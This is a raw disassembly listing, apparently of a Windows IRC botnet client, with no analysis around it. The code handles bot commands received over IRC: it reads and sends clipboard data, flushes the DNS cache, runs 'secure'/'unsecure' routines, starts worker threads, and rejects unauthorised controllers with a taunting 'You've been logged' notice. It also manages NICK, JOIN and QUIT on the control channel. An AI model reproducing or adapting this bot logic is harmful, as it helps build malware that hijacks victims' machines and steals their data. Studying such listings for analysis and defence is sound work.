dword_421060 ; Sleep jmp short loc_411D6A ; --------------------------------------------------------------------------- loc_411D80: ; CODE XREF: sub_40CE55+4F13j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433B44 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_411D91: ; CODE XREF: sub_40CE55+1786j ; sub_40CE55+179Bj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_411DB0 push edi call sub_415A5F test eax, eax pop ecx jz short loc_411DB0 push edi call sub_415A5F pop ecx jmp short loc_411DB5 ; --------------------------------------------------------------------------- loc_411DB0: ; CODE XREF: sub_40CE55+4F45j ; sub_40CE55+4F50j mov eax, dword_42C18C loc_411DB5: ; CODE XREF: sub_40CE55+4F59j mov esi, [ebp+esi+var_8C] mov [ebp+var_584], eax xor eax, eax cmp [ebp+var_9B0], bl setz al cmp esi, ebx mov [ebp+var_570], eax jz short loc_411DE8 lea eax, [ebp+var_688] push esi push eax call sub_4154E7 pop ecx pop ecx jmp short loc_411E13 ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: sub_40CE55+4F80j lea eax, [ebp+var_3E8] push 104h push eax call dword_421058 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_2D4] push ebx push eax lea eax, [ebp+var_3E8] push eax call sub_417348 add esp, 14h loc_411E13: ; CODE XREF: sub_40CE55+4F91j lea eax, [ebp+var_688] push eax call sub_415CF0 cmp [ebp+eax+var_689], 5Ch pop ecx jnz short loc_411E3E lea eax, [ebp+var_688] push eax call sub_415CF0 pop ecx mov [ebp+eax+var_689], bl loc_411E3E: ; CODE XREF: sub_40CE55+4FD3j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_910] mov [ebp+var_914], esi push 80h push eax call sub_415A6A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_574], eax lea eax, [ebp+var_688] mov [ebp+var_578], edi push eax push [ebp+var_584] push esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_4277C4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 3 push eax call sub_414F93 add esp, 20h mov [ebp+var_57C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_914] push ebx push eax push offset sub_405B23 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_57C] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_411EF2 loc_411EE0: ; CODE XREF: sub_40CE55+509Bj cmp [ebp+var_568], ebx jnz short loc_411F0D push 32h call dword_421060 ; Sleep jmp short loc_411EE0 ; --------------------------------------------------------------------------- loc_411EF2: ; CODE XREF: sub_40CE55+5089j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433AF8 loc_411EFE: ; CODE XREF: sub_40CE55+34F6j ; sub_40CE55+35F0j lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_411F0D: ; CODE XREF: sub_40CE55+34DAj ; sub_40CE55+35D4j ... cmp [ebp+var_8], ebx jnz loc_41284E push ebx push edi loc_411F18: ; CODE XREF: sub_40CE55+2DA0j lea eax, [ebp+var_2C8] push eax push [ebp+var_8C] push esi jmp loc_40F7CE ; --------------------------------------------------------------------------- loc_411F2B: ; CODE XREF: sub_40CE55+175Cj ; sub_40CE55+1771j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411F3E push esi call sub_415A5F jmp short loc_411F45 ; --------------------------------------------------------------------------- loc_411F3E: ; CODE XREF: sub_40CE55+50DFj push 8 call sub_4151FA loc_411F45: ; CODE XREF: sub_40CE55+50E7j cmp eax, ebx pop ecx jz loc_41298E push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071FF loc_411F60: ; CODE XREF: sub_40CE55+5597j add esp, 10h jmp loc_41298E ; --------------------------------------------------------------------------- loc_411F68: ; CODE XREF: sub_40CE55+1732j ; sub_40CE55+1747j mov eax, dword_43A2C0 cmp eax, ebx jz short loc_411F85 call eax ; DnsFlushResolverCache test eax, eax jz short loc_411F7E push offset unk_433AC0 jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411F7E: ; CODE XREF: sub_40CE55+5120j push offset unk_433A80 jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411F85: ; CODE XREF: sub_40CE55+511Aj push offset unk_433A40 jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411F8C: ; CODE XREF: sub_40CE55+1708j ; sub_40CE55+171Dj call sub_40A093 test eax, eax jz short loc_411FB0 push offset unk_433A08 loc_411F9A: ; CODE XREF: sub_40CE55+5127j ; sub_40CE55+512Ej ... lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A jmp loc_412875 ; --------------------------------------------------------------------------- loc_411FB0: ; CODE XREF: sub_40CE55+513Ej push offset unk_4339C8 jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411FB7: ; CODE XREF: sub_40CE55+16DEj ; sub_40CE55+16F3j cmp [ebp+var_8], ebx jnz short loc_411FD6 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_411FD6: ; CODE XREF: sub_40CE55+5165j push ebx push [ebp+var_4] call sub_409C92 push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push offset dword_433984 jmp loc_4122BE ; --------------------------------------------------------------------------- loc_411FF8: ; CODE XREF: sub_40CE55+15FEj ; sub_40CE55+1613j push 7 call sub_4151DB test eax, eax pop ecx jle short loc_41200B push offset dword_433948 jmp short loc_41202C ; --------------------------------------------------------------------------- loc_41200B: ; CODE XREF: sub_40CE55+51ADj push [ebp+var_8C] push [ebp+arg_4] call sub_40A7FD pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_412027 push offset dword_43390C jmp short loc_41202C ; --------------------------------------------------------------------------- loc_412027: ; CODE XREF: sub_40CE55+51C9j push offset dword_4338D8 loc_41202C: ; CODE XREF: sub_40CE55+2B3Dj ; sub_40CE55+2C6Dj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40F7B1 ; --------------------------------------------------------------------------- loc_41203F: ; CODE XREF: sub_40CE55+15D4j ; sub_40CE55+15E9j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40967F jmp loc_40D216 ; --------------------------------------------------------------------------- loc_412058: ; CODE XREF: sub_40CE55+15AAj ; sub_40CE55+15BFj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C515 jmp loc_40D216 ; --------------------------------------------------------------------------- loc_412075: ; CODE XREF: sub_40CE55+1580j ; sub_40CE55+1595j or edi, 0FFFFFFFFh call dword_42104C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_41209E push esi call sub_415A5F pop ecx mov edi, eax loc_41209E: ; CODE XREF: sub_40CE55+523Ej mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4120B7 cmp edi, 0FFFFFFFFh jnz loc_41298E loc_4120B7: ; CODE XREF: sub_40CE55+5257j push ebx call sub_40A9B2 push eax lea eax, [ebp+var_2C8] push offset dword_4338AC push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C lea eax, [ebp+var_2C8] push eax call sub_40B16D jmp loc_410180 ; --------------------------------------------------------------------------- loc_4120F9: ; CODE XREF: sub_40CE55+1556j ; sub_40CE55+156Bj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4085D3 lea eax, [ebp+var_2C8] push offset unk_433878 push eax call sub_4154E7 add esp, 14h jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_412123: ; CODE XREF: sub_40CE55+152Cj ; sub_40CE55+1541j push 1Eh call sub_4151DB test eax, eax pop ecx jle short loc_41214C cmp [ebp+var_8], ebx jnz loc_40D219 push ebx push [ebp+var_4] push offset dword_433844 push [ebp+var_8C] jmp loc_40D777 ; --------------------------------------------------------------------------- loc_41214C: ; CODE XREF: sub_40CE55+52D8j push [ebp+var_8C] lea eax, [ebp+var_4DC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_450], eax mov [ebp+var_458], ebx jz short loc_4121AD push esi push offset aFull ; "full" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4121AD mov [ebp+var_458], 1 loc_4121AD: ; CODE XREF: sub_40CE55+533Bj ; sub_40CE55+534Cj lea eax, [ebp+var_2C8] push offset dword_433808 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Eh push eax call sub_414F93 add esp, 14h mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_413F83 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_41221B loc_412205: ; CODE XREF: sub_40CE55+53C4j cmp [ebp+var_44C], ebx jnz loc_41284E push 32h call dword_421060 ; Sleep jmp short loc_412205 ; --------------------------------------------------------------------------- loc_41221B: ; CODE XREF: sub_40CE55+53AEj call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4337B8 jmp loc_41283F ; --------------------------------------------------------------------------- loc_41222C: ; CODE XREF: sub_40CE55+1502j ; sub_40CE55+1517j cmp [ebp+var_8], ebx jnz short loc_41224B push ebx push [ebp+var_4] push offset dword_43378C push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_41224B: ; CODE XREF: sub_40CE55+53DAj push [ebp+arg_4] call dword_43A430 ; closesocket call dword_43A2F8 ; WSACleanup call sub_409E15 push ebx call dword_421114 ; ExitProcess loc_412266: ; CODE XREF: sub_40CE55+14D8j ; sub_40CE55+14EDj push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40AAD1 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push offset dword_433760 jmp short loc_4122BE ; --------------------------------------------------------------------------- loc_412291: ; CODE XREF: sub_40CE55+14AEj ; sub_40CE55+14C3j push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40AD85 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push offset dword_433734 loc_4122BE: ; CODE XREF: sub_40CE55+519Ej ; sub_40CE55+543Aj call sub_40B16D jmp loc_410F32 ; --------------------------------------------------------------------------- loc_4122C8: ; CODE XREF: sub_40CE55+1484j ; sub_40CE55+1499j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B20D jmp loc_40D216 ; --------------------------------------------------------------------------- loc_4122E1: ; CODE XREF: sub_40CE55+145Aj ; sub_40CE55+146Fj cmp [ebp+var_C], ebx mov [ebp+var_374], bl jz short loc_412320 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412320 push esi push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_412320 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_374] push 80h push eax call sub_415A6A add esp, 10h loc_412320: ; CODE XREF: sub_40CE55+5495j ; sub_40CE55+54A0j ... push [ebp+var_8C] lea eax, [ebp+var_3F4] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] push offset dword_433708 mov [ebp+var_3F8], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_8] mov [ebp+var_2EC], eax lea eax, [ebp+var_2C8] push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Ch push eax call sub_414F93 add esp, 20h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8] push ebx push eax push offset sub_40B27F push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_4123C0 loc_4123AA: ; CODE XREF: sub_40CE55+5569j cmp [ebp+var_2E8], ebx jnz loc_40D219 push 32h call dword_421060 ; Sleep jmp short loc_4123AA ; --------------------------------------------------------------------------- loc_4123C0: ; CODE XREF: sub_40CE55+5553j call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_4336BC jmp loc_40D402 ; --------------------------------------------------------------------------- loc_4123D1: ; CODE XREF: sub_40CE55+1430j ; sub_40CE55+1445j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B0F5 push offset dword_433690 call sub_40B16D jmp loc_411F60 ; --------------------------------------------------------------------------- loc_4123F1: ; CODE XREF: sub_40CE55+1406j ; sub_40CE55+141Bj push [ebp+var_8C] lea eax, [ebp+var_4DC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_450], eax jz short loc_41244B push offset dword_43368C push esi call sub_415910 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_458], eax jmp short loc_412451 ; --------------------------------------------------------------------------- loc_41244B: ; CODE XREF: sub_40CE55+55DAj mov [ebp+var_458], ebx loc_412451: ; CODE XREF: sub_40CE55+55F4j lea eax, [ebp+var_2C8] push offset dword_43365C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Fh push eax call sub_414F93 add esp, 14h mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_414FFE push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_4124BB loc_4124A9: ; CODE XREF: sub_40CE55+5664j cmp [ebp+var_44C], ebx jnz short loc_4124D6 push 32h call dword_421060 ; Sleep jmp short loc_4124A9 ; --------------------------------------------------------------------------- loc_4124BB: ; CODE XREF: sub_40CE55+5652j call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_433610 loc_4124C7: ; CODE XREF: sub_40CE55+4523j ; sub_40CE55+463Cj lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_4124D6: ; CODE XREF: sub_40CE55+28C1j ; sub_40CE55+28E3j ... lea eax, [ebp+var_2C8] push eax jmp loc_40E519 ; --------------------------------------------------------------------------- loc_4124E2: ; CODE XREF: sub_40CE55+138Aj ; sub_40CE55+139Fj push offset aIdspp ; "idspp" lea eax, [ebp+var_2C8] push offset dword_4335E4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 20h jmp loc_40EFA7 ; --------------------------------------------------------------------------- loc_412519: ; CODE XREF: sub_40CE55+1360j ; sub_40CE55+1375j push dword_468818 call sub_40A9B2 push eax lea eax, [ebp+var_2C8] push offset dword_4335A4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 24h jmp loc_40EFA7 ; --------------------------------------------------------------------------- loc_412557: ; CODE XREF: sub_40CE55+1336j ; sub_40CE55+134Bj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412589 cmp [ebp+var_C], ebx jz short loc_412598 push esi push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_412598 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 0Ch jmp short loc_412598 ; --------------------------------------------------------------------------- loc_412589: ; CODE XREF: sub_40CE55+570Bj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_412D06 pop ecx pop ecx loc_412598: ; CODE XREF: sub_40CE55+5710j ; sub_40CE55+571Fj ... push 0FFFFFFFEh jmp loc_40D21B ; --------------------------------------------------------------------------- loc_41259F: ; CODE XREF: sub_40CE55+130Cj ; sub_40CE55+1321j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_433550 call sub_40B16D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40D21C ; --------------------------------------------------------------------------- loc_4125C1: ; CODE XREF: sub_40CE55+12E2j ; sub_40CE55+12F7j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_43350C call sub_40B16D add esp, 0Ch xor eax, eax jmp loc_40D21C ; --------------------------------------------------------------------------- loc_4125E2: ; CODE XREF: sub_40CE55+12B8j ; sub_40CE55+12CDj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407135 jmp loc_410E9B ; --------------------------------------------------------------------------- loc_4125F8: ; CODE XREF: sub_40CE55+1213j ; sub_40CE55+1228j push [ebp+esi+var_90] push 1Eh push offset dword_4334FC push offset dword_4334F0 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_412610: ; CODE XREF: sub_40CE55+11E9j ; sub_40CE55+11FEj push [ebp+esi+var_90] push 1Bh push offset dword_4334E4 push offset dword_4334D4 jmp loc_40DEA8 ; --------------------------------------------------------------------------- loc_412628: ; CODE XREF: sub_40CE55+1014j ; sub_40CE55+1029j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_412647 push edi call sub_415A5F test eax, eax pop ecx jz short loc_412647 push edi call sub_415A5F pop ecx jmp short loc_41264C ; --------------------------------------------------------------------------- loc_412647: ; CODE XREF: sub_40CE55+57DCj ; sub_40CE55+57E7j mov eax, dword_42C184 loc_41264C: ; CODE XREF: sub_40CE55+57F0j mov esi, [ebp+esi+var_8C] mov [ebp+var_464], eax cmp esi, ebx jz short loc_412671 push esi loc_41265E: ; CODE XREF: sub_40CE55+582Bj lea eax, [ebp+var_474] push 10h push eax call sub_415A6A add esp, 0Ch jmp short loc_412688 ; --------------------------------------------------------------------------- loc_412671: ; CODE XREF: sub_40CE55+5806j cmp [ebp+var_9B3], bl jz short loc_412682 lea eax, [ebp+var_C4] push eax jmp short loc_41265E ; --------------------------------------------------------------------------- loc_412682: ; CODE XREF: sub_40CE55+5822j mov [ebp+var_474], bl loc_412688: ; CODE XREF: sub_40CE55+581Aj mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_458], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_454], eax lea eax, [ebp+var_4F4] push eax mov [ebp+var_4F8], esi call sub_415A6A add esp, 0Ch push [ebp+var_464] push esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_427D5C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 11h push eax call sub_414F93 add esp, 1Ch mov [ebp+var_460], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_40800A push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_460] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_412739 loc_412723: ; CODE XREF: sub_40CE55+58E2j cmp [ebp+var_450], ebx jnz loc_40D219 push 32h call dword_421060 ; Sleep jmp short loc_412723 ; --------------------------------------------------------------------------- loc_412739: ; CODE XREF: sub_40CE55+58CCj call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433488 jmp loc_40D402 ; --------------------------------------------------------------------------- loc_41274A: ; CODE XREF: sub_40CE55+FC0j ; sub_40CE55+FD5j ... push edi push offset aSecure ; "secure" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_412772 push edi push offset aSec ; "sec" call sub_415910 pop ecx mov [ebp+var_458], ebx test eax, eax pop ecx jnz short loc_41277C loc_412772: ; CODE XREF: sub_40CE55+5904j mov [ebp+var_458], 1 loc_41277C: ; CODE XREF: sub_40CE55+591Bj push [ebp+var_8C] lea eax, [ebp+var_4DC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_458], ebx mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] mov [ebp+var_450], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4127C3 mov eax, offset aUnsecuring ; "Unsecuring" loc_4127C3: ; CODE XREF: sub_40CE55+5967j push eax push offset dword_433438 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 19h push eax call sub_414F93 add esp, 1Ch mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_41465A push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_412833 loc_412821: ; CODE XREF: sub_40CE55+59DCj cmp [ebp+var_44C], ebx jnz short loc_41284E push 32h call dword_421060 ; Sleep jmp short loc_412821 ; --------------------------------------------------------------------------- loc_412833: ; CODE XREF: sub_40CE55+59CAj call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4333E8 loc_41283F: ; CODE XREF: sub_40CE55+3C66j ; sub_40CE55+4738j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_41284E: ; CODE XREF: sub_40CE55+295Fj ; sub_40CE55+2981j ... lea eax, [ebp+var_2C8] push eax call sub_40B16D jmp loc_40D408 ; --------------------------------------------------------------------------- loc_41285F: ; CODE XREF: sub_40CE55+F96j ; sub_40CE55+FABj push offset aEnz9_9b ; "enz 9.9b" push offset dword_4333C4 loc_412869: ; CODE XREF: sub_40CE55+44D8j ; sub_40CE55+47ECj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 loc_412875: ; CODE XREF: sub_40CE55+5156j add esp, 0Ch jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_41287D: ; CODE XREF: sub_40CE55+F6Cj ; sub_40CE55+F81j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4128DD push esi call sub_415A5F cmp eax, ebx pop ecx jl short loc_4128D2 cmp eax, 2 jge short loc_4128D2 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4128C7 lea eax, [esi+1] push eax lea eax, [ebp+var_2C8] push offset dword_436514 push eax call sub_4154E7 add esp, 0Ch mov [esi], bl jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_4128C7: ; CODE XREF: sub_40CE55+5A51j push eax push offset dword_433384 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_4128D2: ; CODE XREF: sub_40CE55+5A3Cj ; sub_40CE55+5A41j push eax push offset dword_433344 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_4128DD: ; CODE XREF: sub_40CE55+5A31j mov edi, [ebp+arg_18] xor esi, esi loc_4128E2: ; CODE XREF: sub_40CE55+5AA9j push [ebp+var_94] push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_412905 inc esi add edi, 80h cmp esi, 2 jl short loc_4128E2 jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_412905: ; CODE XREF: sub_40CE55+5A9Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset dword_436514 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_41291F: ; CODE XREF: sub_40CE55+F42j ; sub_40CE55+F57j push [ebp+var_90] push offset dword_43646C call sub_415910 pop ecx test eax, eax pop ecx jz short loc_41298E call sub_41515C push ebx call dword_421114 ; ExitProcess loc_412941: ; CODE XREF: sub_40CE55+F18j ; sub_40CE55+F2Dj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9A4], bl setnz al push eax lea eax, [ebp+var_564] push dword_42C1A4 push eax call sub_414433 lea eax, [ebp+var_564] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_564] push eax push offset dword_43330C call sub_40B1E1 loc_41298B: ; CODE XREF: sub_40CE55+2ADAj add esp, 24h loc_41298E: ; CODE XREF: sub_40CE55+65Cj ; sub_40CE55+668j ... mov eax, [ebp+arg_24] jmp loc_40D21C ; --------------------------------------------------------------------------- loc_412996: ; CODE XREF: sub_40CE55+B18j ; sub_40CE55+B2Dj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40D219 cmp [ebp+var_98], ebx jnz loc_40D219 push offset dword_42F3E4 push [ebp+var_94] call sub_416C98 mov esi, eax push offset dword_438FD4 push ebx inc esi call sub_416C98 push offset asc_433308 ; "~" push eax call sub_416C98 push [ebp+arg_0] mov edi, eax push offset aHi ; "hi" call sub_415910 add esp, 20h test eax, eax jz short loc_412A3E lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_412D06 push edi push esi push offset dword_43327C loc_412A2A: ; CODE XREF: sub_40CE55+5C45j lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 30h jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_412A3E: ; CODE XREF: sub_40CE55+5B9Cj mov [ebp+arg_24], offset off_42C260 loc_412A45: ; CODE XREF: sub_40CE55+5C0Cj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4152EC pop ecx test eax, eax pop ecx jnz short loc_412A9C add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42C264 jl short loc_412A45 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_412D06 push edi push esi push offset dword_43323C jmp short loc_412A2A ; --------------------------------------------------------------------------- loc_412A9C: ; CODE XREF: sub_40CE55+5BFFj mov edi, [ebp+arg_18] xor esi, esi loc_412AA1: ; CODE XREF: sub_40CE55+5C76j cmp [ebp+arg_0], ebx jz loc_40D219 cmp [edi], bl jnz short loc_412AC1 push [ebp+arg_0] push offset aHi ; "hi" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_412AD2 loc_412AC1: ; CODE XREF: sub_40CE55+5C57j inc esi add edi, 80h cmp esi, 2 jl short loc_412AA1 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_412AD2: ; CODE XREF: sub_40CE55+5C6Aj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_A94] push 7Fh push eax push esi call sub_416D40 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_412B09 push ebx push [ebp+var_4] push offset dword_433208 push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_412B09: ; CODE XREF: sub_40CE55+5C98j lea eax, [ebp+var_C4] push eax push offset dword_4331D4 jmp loc_40D402 ; --------------------------------------------------------------------------- loc_412B1A: ; CODE XREF: sub_40CE55+20Ej ; sub_40CE55+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_412D06 push offset dword_42C23C push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_412D06 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 2Ch mov dword_468998, edi jmp loc_40D0F2 sub_40CE55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B60 proc near ; CODE XREF: sub_412B98+125p ; sub_412B98+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_412B8E loc_412B71: ; CODE XREF: sub_412B60+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_417930 add esp, 0Ch test eax, eax jz short loc_412B94 inc esi cmp esi, edi jl short loc_412B71 loc_412B8E: ; CODE XREF: sub_412B60+Fj xor al, al loc_412B90: ; CODE XREF: sub_412B60+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_412B94: ; CODE XREF: sub_412B60+27j mov al, 1 jmp short loc_412B90 sub_412B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B98 proc near ; CODE XREF: sub_4033CB+8Bp ; sub_4033CB+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_415D70 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_412BD9 dec eax jz short loc_412BB7 dec eax loc_412BB1: ; CODE XREF: sub_412B98+57j xor eax, eax loc_412BB3: ; CODE XREF: sub_412B98+3Fj ; sub_412B98+169j pop edi pop esi leave retn ; 